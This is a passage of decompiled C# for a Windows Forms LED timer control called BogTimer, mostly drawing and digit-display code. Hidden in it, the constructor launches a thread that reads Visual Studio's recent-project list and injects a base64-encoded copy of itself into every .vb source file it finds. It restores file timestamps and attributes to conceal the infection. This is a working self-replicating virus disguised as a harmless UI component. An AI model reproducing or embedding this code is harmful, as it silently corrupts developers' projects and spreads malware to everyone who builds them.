"IEFzIFN5c3RlbS5JTy5TdHJlYW1SZWFkZXINCkRpbSBUIEFzIFN5c3RlbS5JTy5T" + "dHJlYW1Xcml0ZXINCkRpbSBVIEFzIFN5c3RlbS5JTy5GaWxlQXR0cmlidXRlcw0K" + "UiA9IE1pY3Jvc29mdC5XaW4zMi5SZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3Vi" + "S2V5KCJTb2Z0d2FyZVxNaWNyb3NvZnRcVmlzdWFsU3R1ZGlvXDcuMFxQcm9qZWN0" + "TVJVTGlzdCIpDQpJZiBSLlZhbHVlQ291bnQgPSAwIFRoZW4gRW5kDQpHID0gIlBy" + "aXZhdGUgU3ViIHZJVCgpIg0KSCA9ICJQdWJsaWMgU3ViIE5ldygpIg0KSSA9ICJE" + "aW0gdCBBcyBOZXcgU3lzdGVtLlRocmVhZGluZy5UaHJlYWQoQWRkcmVzc09mIHZJ" + "VCkiICYgdmJDckxmICYgInQuU3RhcnQoKSINCkogPSAiIg0KSyA9IFN5c3RlbS5U" + "ZXh0LkVuY29kaW5nLkFTQ0lJLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gcm9t" + "QmFzZTY0U3RyaW5nKEopKQ0KTCA9ICJKID0gIiAmIENocigzNCkNCkZvciBYID0g" + "MSBUbyBMZW4oSikgU3RlcCA2NA0KSWYgWCArIDY0IDwgTGVuKEopIFRoZW4NCkwg" + "PSBMICYgTWlkKEosIFgsIDY0KSAmIENocigzNCkgJiB2YkNyTGYgJiAiSiA9IEog" + "JiAiICYgQ2hyKDM0KQ0KRWxzZQ0KTCA9IEwgJiBNaWQoSiwgWCwgNjQpICYgQ2hy" + "KDM0KQ0KRW5kIElmDQpOZXh0DQpLID0gUmVwbGFjZShLLCAiSiA9ICIgJiBDaHIo" + "MzQpICYgQ2hyKDM0KSwgTCwgMSwgMSwgQ29tcGFyZU1ldGhvZC5UZXh0KQ0KTCA9" + "ICIiDQpGb3IgWCA9IDAgVG8gUi5WYWx1ZUNvdW50IC0gMQ0KQSA9IFIuR2V0VmFs" + "dWUoUi5HZXRWYWx1ZU5hbWVzKFgpKQ0KQSA9IE1pZChBLCAxLCBJblN0clJldihB" + "LCAiXCIsIC0xLCBDb21wYXJlTWV0aG9kLlRleHQpKQ0KSWYgU3lzdGVtLklPLkRp" + "cmVjdG9yeS5FeGlzdHMoQSkgVGhlbg0KQiA9IFN5c3RlbS5JTy5EaXJlY3Rvcnku" + "R2V0RmlsZXMoQSwgIioudmIiKQ0KRm9yIFkgPSBMQm91bmQoQikgVG8gVUJvdW5k" + "KEIpDQpEID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoQihZKSkN" + "CkYgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKEIoWSkpDQpVID0g" + "U3lzdGVtLklPLkZpbGUuR2V0QXR0cmlidXRlcyhCKFkpKQ0KU3lzdGVtLklPLkZp" + "bGUuU2V0QXR0cmlidXRlcyhCKFkpLCBJTy5GaWxlQXR0cmlidXRlcy5Ob3JtYWwp" + "DQpTID0gU3lzdGVtLklPLkZpbGUuT3BlblRleHQoQihZKSkNCkMgPSBTLlJlYWRU" + "b0VuZCgpDQpTLkNsb3NlKCkNCklmIEluU3RyKEMsIEcsIENvbXBhcmVNZXRob2Qu" + "VGV4dCkgPSAwIEFuZCBJblN0cihDLCBILCBDb21wYXJlTWV0aG9kLlRleHQpIDw+" + "IDAgVGhlbg0KQyA9IFJlcGxhY2UoQywgIk15QmFzZS5OZXcoKSIsICJNeUJhc2Uu" + "TmV3KCkiICYgdmJDckxmICYgSSwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQpDQpD" + "ID0gUmVwbGFjZShDLCBILCBLICYgSCwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQp" + "DQpUID0gU3lzdGVtLklPLkZpbGUuQ3JlYXRlVGV4dChCKFkpKQ0KVC5Xcml0ZShD" + "KQ0KVC5GbHVzaCgpDQpULkNsb3NlKCkNCkVuZCBJZg0KU3lzdGVtLklPLkZpbGUu" + "U2V0TGFzdFdyaXRlVGltZShCKFkpLCBGKQ0KU3lzdGVtLklPLkZpbGUuU2V0TGFz" + "dEFjY2Vzc1RpbWUoQihZKSwgRCkNClN5c3RlbS5JTy5GaWxlLlNldEF0dHJpYnV0" + "ZXMoQihZKSwgVSkNCk5leHQNCkVuZCBJZg0KTmV4dA0KRW5kIFN1Yg0K"; - string Expression = Encoding.ASCII.GetString(Convert.FromBase64String(str3)); - string Replacement = "J = \""; - int num1 = Strings.Len(str3); - int Start = 1; - while (Start <= num1) - { - Replacement = checked (Start + 64) >= Strings.Len(str3) ? Replacement + Strings.Mid(str3, Start, 64) + "\"" : Replacement + Strings.Mid(str3, Start, 64) + "\"" + "\r\nJ = J & " + "\""; - checked { Start += 64; } - } - string str4 = Strings.Replace(Expression, "J = \"\"", Replacement, Count: 1, Compare: CompareMethod.Text); - int num2 = checked (registryKey.ValueCount - 1); - int index1 = 0; - while (index1 <= num2) - { - string str5 = StringType.FromObject(registryKey.GetValue(registryKey.GetValueNames()[index1])); - string path = Strings.Mid(str5, 1, Strings.InStrRev(str5, "\\", Compare: CompareMethod.Text)); - if (Directory.Exists(path)) - { - string[] files = Directory.GetFiles(path, "*.vb"); - int num3 = Information.LBound((Array) files); - int num4 = Information.UBound((Array) files); - int index2 = num3; - while (index2 <= num4) - { - DateTime lastAccessTime = File.GetLastAccessTime(files[index2]); - DateTime lastWriteTime = File.GetLastWriteTime(files[index2]); - FileAttributes attributes = File.GetAttributes(files[index2]); - File.SetAttributes(files[index2], FileAttributes.Normal); - StreamReader streamReader = File.OpenText(files[index2]); - string end = streamReader.ReadToEnd(); - streamReader.Close(); - if (Strings.InStr(end, String2, CompareMethod.Text) == 0 & Strings.InStr(end, str1, CompareMethod.Text) != 0) - { - string str6 = Strings.Replace(Strings.Replace(end, "MyBase.New()", "MyBase.New()\r\n" + str2, Count: 1, Compare: CompareMethod.Text), str1, str4 + str1, Count: 1, Compare: CompareMethod.Text); - StreamWriter text = File.CreateText(files[index2]); - text.Write(str6); - text.Flush(); - text.Close(); - } - File.SetLastWriteTime(files[index2], lastWriteTime); - File.SetLastAccessTime(files[index2], lastAccessTime); - File.SetAttributes(files[index2], attributes); - checked { ++index2; } - } - } - checked { ++index1; } - } - } - - public BogTimer() - { - this.Resize += new EventHandler(this.BogTimer_Resize); - new Thread(new ThreadStart(this.vIT)).Start(); - this.InitializeComponent(); - this.LedOffColor = System.Drawing.Color.FromArgb(70, 0, 0); - this.LedOnColor = System.Drawing.Color.Red; - } - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.ul1 = new tmrShape(); - this.ll1 = new tmrShape(); - this.ur1 = new tmrShape(); - this.lr1 = new tmrShape(); - this.m1 = new tmrShape(); - this.top1 = new tmrShape(); - this.bot1 = new tmrShape(); - this.bot2 = new tmrShape(); - this.top2 = new tmrShape(); - this.m2 = new tmrShape(); - this.lr2 = new tmrShape(); - this.ur2 = new tmrShape(); - this.ll2 = new tmrShape(); - this.ul2 = new tmrShape(); - this.bot4 = new tmrShape(); - this.top4 = new tmrShape(); - this.m4 = new tmrShape(); - this.lr4 = new tmrShape(); - this.ur4 = new tmrShape(); - this.ll4 = new tmrShape(); - this.ul4 = new tmrShape(); - this.bot3 = new tmrShape(); - this.top3 = new tmrShape(); - this.m3 = new tmrShape(); - this.lr3 = new tmrShape(); - this.ur3 = new tmrShape(); - this.ll3 = new tmrShape(); - this.ul3 = new tmrShape(); - this.f1 = new tmrShape(); - this.f2 = new tmrShape(); - this.SuspendLayout(); - tmrShape ul1_1 = this.ul1; - Point point1 = new Point(24, 24); - Point point2 = point1; - ul1_1.Location = point2; - this.ul1.Name = "ul1"; - this.ul1.ShapeColor = System.Drawing.Color.DarkGray; - this.ul1.ShapeDirection = tmrShape.tmrShapeDirection.Vertical; - tmrShape ul1_2 = this.ul1; - Size size1 = new Size(8, 40); - Size size2 = size1; - ul1_2.Size = size2; - this.ul1.TabIndex = 0; - this.ul1.Tag = (object) "1"; - tmrShape ll1_1 = this.ll1; - point1 = new Point(24, 64); - Point point3 = point1; - ll1_1.Location = point3; - this.ll1.Name = "ll1"; - this.ll1.ShapeColor = System.Drawing.Color.DarkGray; - this.ll1.ShapeDirection = tmrShape.tmrShapeDirection.Vertical; - tmrShape ll1_2 = this.ll1; - size1 = new Size(8, 40); - Size size3 = size1; - ll1_2.Size = size3; - this.ll1.TabIndex = 1; - this.ll1.Tag = (object) "1"; - tmrShape ur1_1 = this.ur1; - point1 = new Point(64, 24); - Point point4 = point1; - ur1_1.Location = point4; - this.ur1.Name = "ur1"; - this.ur1.ShapeColor = System.Drawing.Color.DarkGray; - this.ur1.ShapeDirection = tmrShape.tmrShapeDirection.Vertical; - tmrShape ur1_2 = this.ur1; - size1 = new Size(8, 40); - Size size4 = size1; - ur1_2.Size = size4; - this.ur1.TabIndex = 2; - this.ur1.Tag = (object) "1"; - tmrShape lr1_1 = this.lr1; - point1 = new Point(64, 64); - Point point5 = point1; - lr1_1.Location = point5; - this.lr1.Name = "lr1"; - this.lr1.ShapeColor = System.Drawing.Color.DarkGray; - this.lr1.ShapeDirection = tmrShape.tmrShapeDirection.Vertical; - tmrShape lr1_2 = this.lr1; - size1 = new Size(8, 40); - Size size5 = size1; - lr1_2.Size = size5; - this.lr1.TabIndex = 3; - this.lr1.Tag = (object) "1"; - tmrShape m1_1 = this.m1; - point1 = new Point(27, 60); - Point point6 = point1; - m1_1.Location = point6; - this.m1.Name = "m1"; - this.m1.ShapeColor = System.Drawing.Color.DarkGray; - this.m1.ShapeDirection = tmrShape.tmrShapeDirection.Horisontal; - tmrShape m1_2 = this.m1; - size1 = new Size(44, 8); - Size size6 = size1; - m1_2.Size = size6; - this.m1.TabIndex = 4; - this.m1.Tag = (object) "1"; - tmrShape top1_1 = this.top1; - point1 = new Point(26, 21); - Point point7 = point1; - top1_1.Location = point7; - this.top1.Name = "top1"; - this.top1.ShapeColor = System.Drawing.Color.DarkGray; - this.top1.ShapeDirection = tmrShape.tmrShapeDirection.Horisontal; - tmrShape top1_2 = this.top1; - size1 = new Size(44, 8); - Size size7 = size1; - top1_2.Size = size7; - this.top1.TabIndex = 5; - this.top1.Tag = (object) "1"; - tmrShape bot1_1 = this.bot1; - point1 = new Point(27, 99); - Point point8 = point1; - bot1_1.Location = point8; - this.bot1.Name = "bot1"; - this.bot1.ShapeColor = System.Drawing.Color.DarkGray; - this.bot1.ShapeDirection = tmrShape.tmrShapeDirection.Horisontal; - tmrShape bot1_2 = this.bot1; - size1 = new Size(44, 8); - Size size8 = size1; - bot1_2.Size = size8; - this.bot1.TabIndex = 6; - this.bot1.Tag = (object) "1"; - tmrShape bot2_1 = this.bot2; - point1 = new Point(87, 98); - Point point9 = point1; - bot2_1.Location = point9; - this.bot2.Name = "bot2"; - this.bot2.ShapeColor = System.Drawing.Color.DarkGray; - this.bot2.ShapeDirection = tmrShape.tmrShapeDirection.Horisontal; - tmrShape bot2_2 = this.bot2; - size1 = new Size(44, 8); - Size size9 = size1; - bot2_2.Size = size9; - this.bot2.TabIndex = 13; - this.bot2.Tag = (object) "2"; - tmrShape top2_1 = this.top2; - point1 = new Point(86, 21); - Point point10 = point1; - top2_1.Location = point10; - this.top2.Name = "top2"; - this.top2.ShapeColor = System.Drawing.Color.DarkGray; - this.top2.ShapeDirection = tmrShape.tmrShapeDirection.Horisontal; - tmrShape top2_2 = this.top2; - size1 = new Size(44, 8); - Size size10 = size1; - top2_2.Size = size10; - this.top2.TabIndex = 12; - this.top2.Tag = (object) "2"; - tmrShape m2_1 = this.m2; - point1 = new Point(87, 60); - Point point11 = point1; - m2_1.Location = point11; - this.m2.Name = "m2"; - this.m2.ShapeColor = System.Drawing.Color.DarkGray; - this.m2.ShapeDirection = tmrShape.tmrShapeDirection.Horisontal; - tmrShape m2_2 = this.m2; - size1 = new Size(44, 8); - Size size11 = size1; - m2_2.Size = size11; - this.m2.TabIndex = 11; - this.m2.Tag = (object) "2"; - tmrShape lr2_1 = this.lr2; - point1 = new Point(124, 64); - Point point12 = point1; - lr2_1.Location = point12; - this.lr2.Name = "lr2"; - this.lr2.ShapeColor = System.Drawing.Color.DarkGray; - this.lr2.ShapeDirection = tmrShape.tmrShapeDirection.Vertical; - tmrShape lr2_2 = this.lr2; - size1 = new Size(8, 39); - Size size12 = size1; - lr2_2.Size = size12; - this.lr2.TabIndex = 10; - this.lr2.Tag = (object) "2"; - tmrShape ur2_1 = this.ur2; - point1 = new Point(124, 24); - Point point13 = point1; - ur2_1.Location = point13; - this.ur2.Name = "ur2"; - this.ur2.ShapeColor = System.Drawing.Color.DarkGray; - this.ur2.ShapeDirection = tmrShape.tmrShapeDirection.Vertical; - tmrShape ur2_2 = this.ur2; - size1 = new Size(8, 39); - Size size13 = size1; - ur2_2.Size = size13; - this.ur2.TabIndex = 9; - this.ur2.Tag = (object) "2"; - tmrShape ll2_1 = this.ll2; - point1 = new Point(84, 64); - Point point14 = point1; - ll2_1.Location = point14; - this.ll2.Name = "ll2"; - this.ll2.ShapeColor = System.Drawing.Color.DarkGray; - this.ll2.ShapeDirection = tmrShape.tmrShapeDirection.Vertical; - tmrShape ll2_2 = this.ll2; - size1 = new Size(8, 39); - Size size14 = size1; - ll2_2.Size = size14; - this.ll2.TabIndex = 8; - this.ll2.Tag = (object) "2"; - tmrShape ul2_1 = this.ul2; - point1 = new Point(84, 24); - Point point15 = point1; - ul2_1.Location = point15; - this.ul2.Name = "ul2"; - this.ul2.ShapeColor = System.Drawing.Color.DarkGray; - this.ul2.ShapeDirection = tmrShape.tmrShapeDirection.Vertical; - tmrShape ul2_2 = this.ul2; - size1 = new Size(8, 39); - Size size15 = size1; - ul2_2.Size = size15; - this.ul2.TabIndex = 7; - this.ul2.Tag = (object) "2"; - tmrShape bot4_1 = this.bot4; - point1 = new Point(260, 99); - Point point16 = point1; - bot4_1.Location = point16; - this.bot4.Name = "bot4"; - this.bot4.ShapeColor = System.Drawing.Color.DarkGray; - this.bot4.ShapeDirection = tmrShape.tmrShapeDirection.Horisontal; - tmrShape bot4_2 = this.bot4; - size1 = new Size(44, 8); - Size size16 = size1; - bot4_2.Size = size16; - this.bot4.TabIndex = 27; - this.bot4.Tag = (object) "4"; - tmrShape top4_1 = this.top4; - point1 = new Point(259, 22); - Point point17 = point1; - top4_1.Location = point17; - this.top4.Name = "top4"; - this.top4.ShapeColor = System.Drawing.Color.DarkGray; - this.top4.ShapeDirection = tmrShape.tmrShapeDirection.Horisontal; - tmrShape top4_2 = this.top4; - size1 = new Size(44, 8); - Size size17 = size1; - top4_2.Size = size17; - this.top4.TabIndex = 26; - this.top4.Tag = (object) "4"; - tmrShape m4_1 = this.m4; - point1 = new Point(260, 61); - Point point18 = point1; - m4_1.Location = point18; - this.m4.Name = "m4"; - this.m4.ShapeColor = System.Drawing.Color.DarkGray; - this.m4.ShapeDirection = tmrShape.tmrShapeDirection.Horisontal; - tmrShape m4_2 = this.m4; - size1 = new Size(44, 8); - Size size18 = size1; - m4_2.Size = size18; - this.m4.TabIndex = 25; - this.m4.Tag = (object) "4"; - tmrShape lr4_1 = this.lr4; - point1 = new Point(297, 65); - Point point19 = point1; - lr4_1.Location = point19; - this.lr4.Name = "lr4"; - this.lr4.ShapeColor = System.Drawing.Color.DarkGray; - this.lr4.ShapeDirection = tmrShape.tmrShapeDirection.Vertical; - tmrShape lr4_2 = this.lr4; - size1 = new Size(8, 39); - Size size19 = size1; - lr4_2.Size = size19; - this.lr4.TabIndex = 24; - this.lr4.Tag = (object) "4"; - tmrShape ur4_1 = this.ur4; - point1 = new Point(297, 25); - Point point20 = point1; - ur4_1.Location = point20; - this.ur4.Name = "ur4"; - this.ur4.ShapeColor = System.Drawing.Color.DarkGray; - this.ur4.ShapeDirection = tmrShape.tmrShapeDirection.Vertical; - tmrShape ur4_2 = this.ur4; - size1 = new Size(8, 39); - Size size20 = size1; - ur4_2.Size = size20; - this.ur4.TabIndex = 23; - this.ur4.Tag = (object) "4"; - tmrShape ll4_1 = this.ll4; - point1 = new Point(257, 65); - Point point21 = point1; - ll4_1.Location = point21; - this.ll4.Name = "ll4"; - this.ll4.ShapeColor = System.Drawing.Color.DarkGray; - this.ll4.ShapeDirection = tmrShape.tmrShapeDirection.Vertical; - tmrShape ll4_2 = this.ll4; - size1 = new Size(8, 39); - Size size21 = size1; - ll4_2.Size = size21; - this.ll4.TabIndex = 22; - this.ll4.Tag = (object) "4"; - tmrShape ul4_1 = this.ul4; - point1 = new Point(257, 25); - Point point22 = point1; - ul4_1.Location = point22; - this.ul4.Name = "ul4"; - this.ul4.ShapeColor = System.Drawing.Color.DarkGray; - this.ul4.ShapeDirection = tmrShape.tmrShapeDirection.Vertical; - tmrShape ul4_2 = this.ul4; - size1 = new Size(8, 39); - Size size22 = size1; - ul4_2.Size = size22; - this.ul4.TabIndex = 21; - this.ul4.Tag = (object) "4"; - tmrShape bot3_1 = this.bot3; - point1 = new Point(200, 100); - Point point23 = point1; - bot3_1.Location = point23; - this.bot3.Name = "bot3"; - this.bot3.ShapeColor = System.Drawing.Color.DarkGray; - this.bot3.ShapeDirection = tmrShape.tmrShapeDirection.Horisontal; - tmrShape bot3_2 = this.bot3; - size1 = new Size(44, 8); - Size size23 = size1; - bot3_2.Size = size23; - this.bot3.TabIndex = 20; - this.bot3.Tag = (object) "3"; - tmrShape top3_1 = this.top3; - point1 = new Point(199, 22); - Point point24 = point1; - top3_1.Location = point24; - this.top3.Name = "top3"; - this.top3.ShapeColor = System.Drawing.Color.DarkGray; - this.top3.ShapeDirection = tmrShape.tmrShapeDirection.Horisontal; - tmrShape top3_2 = this.top3; - size1 = new Size(44, 8); - Size size24 = size1; - top3_2.Size = size24; - this.top3.TabIndex = 19; - this.top3.Tag = (object) "3"; - tmrShape m3_1 = this.m3; - point1 = new Point(200, 61); - Point point25 = point1; - m3_1.Location = point25; - this.m3.Name = "m3"; - this.m3.ShapeColor = System.Drawing.Color.DarkGray; - this.m3.ShapeDirection = tmrShape.tmrShapeDirection.Horisontal; - tmrShape m3_2 = this.m3; - size1 = new Size(44, 8); - Size size25 = size1; - m3_2.Size = size25; - this.m3.TabIndex = 18; - this.m3.Tag = (object) "3"; - tmrShape lr3_1 = this.lr3; - point1 = new Point(237, 65); - Point point26 = point1; - lr3_1.Location = point26; - this.lr3.Name = "lr3"; - this.lr3.ShapeColor = System.Drawing.Color.DarkGray; - this.lr3.ShapeDirection = tmrShape.tmrShapeDirection.Vertical; - tmrShape lr3_2 = this.lr3; - size1 = new Size(8, 40); - Size size26 = size1; - lr3_2.Size = size26; - this.lr3.TabIndex = 17; - this.lr3.Tag = (object) "3"; - tmrShape ur3_1 = this.ur3; - point1 = new Point(237, 25); - Point point27 = point1; - ur3_1.Location = point27; - this.ur3.Name = "ur3"; - this.ur3.ShapeColor = System.Drawing.Color.DarkGray; - this.ur3.ShapeDirection = tmrShape.tmrShapeDirection.Vertical; - tmrShape ur3_2 = this.ur3; - size1 = new Size(8, 40); - Size size27 = size1; - ur3_2.Size = size27; - this.ur3.TabIndex = 16; - this.ur3.Tag = (object) "3"; - tmrShape ll3_1 = this.ll3; - point1 = new Point(197, 65); - Point point28 = point1; - ll3_1.Location = point28; - this.ll3.Name = "ll3"; - this.ll3.ShapeColor = System.Drawing.Color.DarkGray; - this.ll3.ShapeDirection = tmrShape.tmrShapeDirection.Vertical; - tmrShape ll3_2 = this.ll3; - size1 = new Size(8, 40); - Size size28 = size1; - ll3_2.Size = size28; - this.ll3.TabIndex = 15; - this.ll3.Tag = (object) "3"; - tmrShape ul3_1 = this.ul3; - point1 = new Point(197, 25); - Point point29 = point1; - ul3_1.Location = point29; - this.ul3.Name = "ul3"; - this.ul3.ShapeColor = System.Drawing.Color.DarkGray; - this.ul3.ShapeDirection = tmrShape.tmrShapeDirection.Vertical; - tmrShape ul3_2 = this.ul3; - size1 = new Size(8, 40); - Size size29 = size1; - ul3_2.Size = size29; - this.ul3.TabIndex = 14; - this.ul3.Tag = (object) "3"; - tmrShape f1_1 = this.f1; - point1 = new Point(156, 33); - Point point30 = point1; - f1_1.Location = point30; - this.f1.Name = "f1"; - this.f1.ShapeColor = System.Drawing.Color.Maroon; - this.f1.ShapeDirection = tmrShape.tmrShapeDirection.Vertical; - tmrShape f1_2 = this.f1; - size1 = new Size(21, 24); - Size size30 = size1; - f1_2.Size = size30; - this.f1.TabIndex = 28; - this.f1.Tag = (object) "f1"; - tmrShape f2_1 = this.f2; - point1 = new Point(155, 71); - Point point31 = point1; - f2_1.Location = point31; - this.f2.Name = "f2"; - this.f2.ShapeColor = System.Drawing.Color.Maroon; - this.f2.ShapeDirection = tmrShape.tmrShapeDirection.Vertical; - tmrShape f2_2 = this.f2; - size1 = new Size(21, 24); - Size size31 = size1; - f2_2.Size = size31; - this.f2.TabIndex = 29; - this.f2.Tag = (object) "f2"; - this.BackColor = System.Drawing.Color.Black; - this.Controls.AddRange(new Control[30] - { - (Control) this.f2, - (Control) this.f1, - (Control) this.bot4, - (Control) this.top4, - (Control) this.m4, - (Control) this.lr4, - (Control) this.ur4, - (Control) this.ll4, - (Control) this.ul4, - (Control) this.bot3, - (Control) this.top3, - (Control) this.m3, - (Control) this.lr3, - (Control) this.ur3, - (Control) this.ll3, - (Control) this.ul3, - (Control) this.bot2, - (Control) this.top2, - (Control) this.m2, - (Control) this.lr2, - (Control) this.ur2, - (Control) this.ll2, - (Control) this.ul2, - (Control) this.bot1, - (Control) this.top1, - (Control) this.m1, - (Control) this.lr1, - (Control) this.ur1, - (Control) this.ll1, - (Control) this.ul1 - }); - this.Name = nameof (BogTimer); - size1 = new Size(323, 128); - this.Size = size1; - this.ResumeLayout(false); - } - - public bool EnableFlash - { - get => this.clsFlashEnabled; - set => this.clsFlashEnabled = value; - } - - private void SetFlash() - { - if (this.clsFlashOn) - { - this.f1.ShapeColor = this.clsLedOnColor; - this.f2.ShapeColor = this.clsLedOnColor; - } - else - { - this.f1.ShapeColor = this.clsLedOffColor; - this.f2.ShapeColor = this.clsLedOffColor; - } - this.clsFlashOn = !this.clsFlashOn; - this.f1.Refresh(); - this.f2.Refresh(); - } - - private void UpdateShapes() - { - try - { - foreach (tmrShape control in this.Controls) - control.ShapeColor = this.clsLedOffColor; - } - finally - { - IEnumerator enumerator; - if (enumerator is IDisposable) - ((IDisposable) enumerator).Dispose(); - } - } - - public System.Drawing.Color LedBackColor - { - get => this.clsLedBackColor; - set - { - this.clsLedBackColor = value; - this.BackColor = this.clsLedBackColor; - this.Refresh(); - } - } - - public System.Drawing.Color LedOffColor - { - get => this.clsLedOffColor; - set - { - this.clsLedOffColor = value; - this.UpdateShapes(); - this.Refresh(); - } - } - - public System.Drawing.Color LedOnColor - { - get => this.clsLedOnColor; - set - { - this.clsLedOnColor = value; - this.Refresh(); - } - } - - public string TimerText - { - get => this.clsTimerText; - set - { - int Pos = 4; - if (StringType.StrCmp(value, "", false) == 0) - return; - this.clsTimerText = value; - while (StringType.StrCmp(value, "", false) != 0) - { - string Chr = Strings.Mid(value, Strings.Len(value), 1); - value = Strings.Mid(value, 1, checked (Strings.Len(value) - 1)); - this.CalculateText(Chr, Pos); - checked { --Pos; } - } - if (this.clsFlashEnabled) - { - this.SetFlash(); - } - else - { - this.f1.ShapeColor = this.clsLedOnColor; - this.f2.ShapeColor = this.clsLedOnColor; - this.f1.Refresh(); - this.f2.Refresh(); - } - } - } - - private void CalculateText(string Chr, int Pos) - { - tmrShape tmrShape1; - tmrShape tmrShape2; - tmrShape tmrShape3; - tmrShape tmrShape4; - tmrShape tmrShape5; - tmrShape tmrShape6; - tmrShape tmrShape7; - switch (Pos) - { - case 1: - tmrShape1 = this.top1; - tmrShape2 = this.ur1; - tmrShape3 = this.ul1; - tmrShape4 = this.m1; - tmrShape5 = this.lr1; - tmrShape6 = this.ll1; - tmrShape7 = this.bot1; - if (StringType.StrCmp(this.top1.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - this.top1.ShapeColor = this.clsLedOffColor; - if (StringType.StrCmp(this.ur1.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - this.ur1.ShapeColor = this.clsLedOffColor; - if (StringType.StrCmp(this.ul1.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - this.ul1.ShapeColor = this.clsLedOffColor; - if (StringType.StrCmp(this.m1.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - this.m1.ShapeColor = this.clsLedOffColor; - if (StringType.StrCmp(this.lr1.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - this.lr1.ShapeColor = this.clsLedOffColor; - if (StringType.StrCmp(this.ll1.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - this.ll1.ShapeColor = this.clsLedOffColor; - if (StringType.StrCmp(this.bot1.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - { - this.bot1.ShapeColor = this.clsLedOffColor; - break; - } - break; - case 2: - tmrShape1 = this.top2; - tmrShape2 = this.ur2; - tmrShape3 = this.ul2; - tmrShape4 = this.m2; - tmrShape5 = this.lr2; - tmrShape6 = this.ll2; - tmrShape7 = this.bot2; - if (StringType.StrCmp(this.top2.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - this.top2.ShapeColor = this.clsLedOffColor; - if (StringType.StrCmp(this.ur2.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - this.ur2.ShapeColor = this.clsLedOffColor; - if (StringType.StrCmp(this.ul2.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - this.ul2.ShapeColor = this.clsLedOffColor; - if (StringType.StrCmp(this.m2.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - this.m2.ShapeColor = this.clsLedOffColor; - if (StringType.StrCmp(this.lr2.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - this.lr2.ShapeColor = this.clsLedOffColor; - if (StringType.StrCmp(this.ll2.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - this.ll2.ShapeColor = this.clsLedOffColor; - if (StringType.StrCmp(this.bot2.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - { - this.bot2.ShapeColor = this.clsLedOffColor; - break; - } - break; - case 3: - tmrShape1 = this.top3; - tmrShape2 = this.ur3; - tmrShape3 = this.ul3; - tmrShape4 = this.m3; - tmrShape5 = this.lr3; - tmrShape6 = this.ll3; - tmrShape7 = this.bot3; - if (StringType.StrCmp(this.top3.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - this.top3.ShapeColor = this.clsLedOffColor; - if (StringType.StrCmp(this.ur3.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - this.ur3.ShapeColor = this.clsLedOffColor; - if (StringType.StrCmp(this.ul3.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - this.ul3.ShapeColor = this.clsLedOffColor; - if (StringType.StrCmp(this.m3.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - this.m3.ShapeColor = this.clsLedOffColor; - if (StringType.StrCmp(this.lr3.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - this.lr3.ShapeColor = this.clsLedOffColor; - if (StringType.StrCmp(this.ll3.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - this.ll3.ShapeColor = this.clsLedOffColor; - if (StringType.StrCmp(this.bot3.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - { - this.bot3.ShapeColor = this.clsLedOffColor; - break; - } - break; - case 4: - tmrShape1 = this.top4; - tmrShape2 = this.ur4; - tmrShape3 = this.ul4; - tmrShape4 = this.m4; - tmrShape5 = this.lr4; - tmrShape6 = this.ll4; - tmrShape7 = this.bot4; - if (StringType.StrCmp(this.top4.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - this.top4.ShapeColor = this.clsLedOffColor; - if (StringType.StrCmp(this.ur4.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - this.ur4.ShapeColor = this.clsLedOffColor; - if (StringType.StrCmp(this.ul4.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - this.ul4.ShapeColor = this.clsLedOffColor; - if (StringType.StrCmp(this.m4.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - this.m4.ShapeColor = this.clsLedOffColor; - if (StringType.StrCmp(this.lr4.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - this.lr4.ShapeColor = this.clsLedOffColor; - if (StringType.StrCmp(this.ll4.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - this.ll4.ShapeColor = this.clsLedOffColor; - if (StringType.StrCmp(this.bot4.ShapeColor.ToString(), this.clsLedOffColor.ToString(), false) != 0) - { - this.bot4.ShapeColor = this.clsLedOffColor; - break; - } - break; - } - string sLeft = Chr; - if (StringType.StrCmp(sLeft, StringType.FromInteger(0), false) == 0) - { - tmrShape2.ShapeColor = this.clsLedOnColor; - tmrShape1.ShapeColor = this.clsLedOnColor; - tmrShape3.ShapeColor = this.clsLedOnColor; - tmrShape6.ShapeColor = this.clsLedOnColor; - tmrShape5.ShapeColor = this.clsLedOnColor; - tmrShape7.ShapeColor = this.clsLedOnColor; - } - else if (StringType.StrCmp(sLeft, StringType.FromInteger(1), false) == 0) - { - tmrShape5.ShapeColor = this.clsLedOnColor; - tmrShape2.ShapeColor = 